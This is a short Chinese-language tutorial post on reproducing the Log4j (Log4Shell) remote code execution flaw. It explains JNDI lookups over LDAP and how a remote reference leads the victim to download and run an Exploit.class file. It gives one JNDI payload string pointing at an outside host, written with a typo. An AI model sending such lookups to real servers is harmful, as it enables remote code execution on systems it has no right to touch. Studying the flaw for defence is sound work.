0
点赞
收藏
分享

微信扫一扫

RCE远程代码执行漏洞复现log4j

海滨公园 2022-03-11 阅读 91

RCE远程代码执行漏洞复现log4j

Log4j

Log for Java,Apach的开源日志记录组件,使用非常广泛
使用方法:
1.pom引入依赖
2.获得logger实例
3.logger.info() debug() error() warn()

LDAP

lightweight directory access protocol轻量级目录访问协议(目录服务)默认端口389
可以批量登录

JNDI

LDAP目录服务,RMI远程方法调用,DNS,XNam,Novell目录服务,CORBA对象服务,文件系统,Windows XP/2000/NT/Me/9x的注册表,DSML v1&v2,NIS
Java Naming and Directory Interface ,JAVA命名和目录接口(命名服务接口)
命名服务:用于根据名字找到位置,服务,信息,资源,对象
基本操作:
1.发布服务(名字和资源的映射):bind()
2.用名字查找资源:lookup()

{jndi:Idap://wuya.com:5678/test}

通过JNDI的接口访问LDAP的服务,即通过名字,查找(lookup)LDAP的服务,获取LDAP中存储的数据

JNDI注入漏洞流程

Naming reference命名引用
1,在LDAP里面可以存储一个外部资源,叫做命名引用,对应Reference类。比如远程HTTP服务的一个.class文件
2,如果JNDI客户端,在IDAP服务中找不到对应的资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地,即test文件不存在,就下载Exploit.class
3,如果下载的.class文件包含无参数构造函数或静态方法块,加载的时候会自动执行

Log4j

请添加图片描述
请添加图片描述
请添加图片描述
请添加图片描述
请添加图片描述
请添加图片描述
先开启LDAP服务,设置好IP和端口,运行log4j.class
请添加图片描述

举报

相关推荐

0 条评论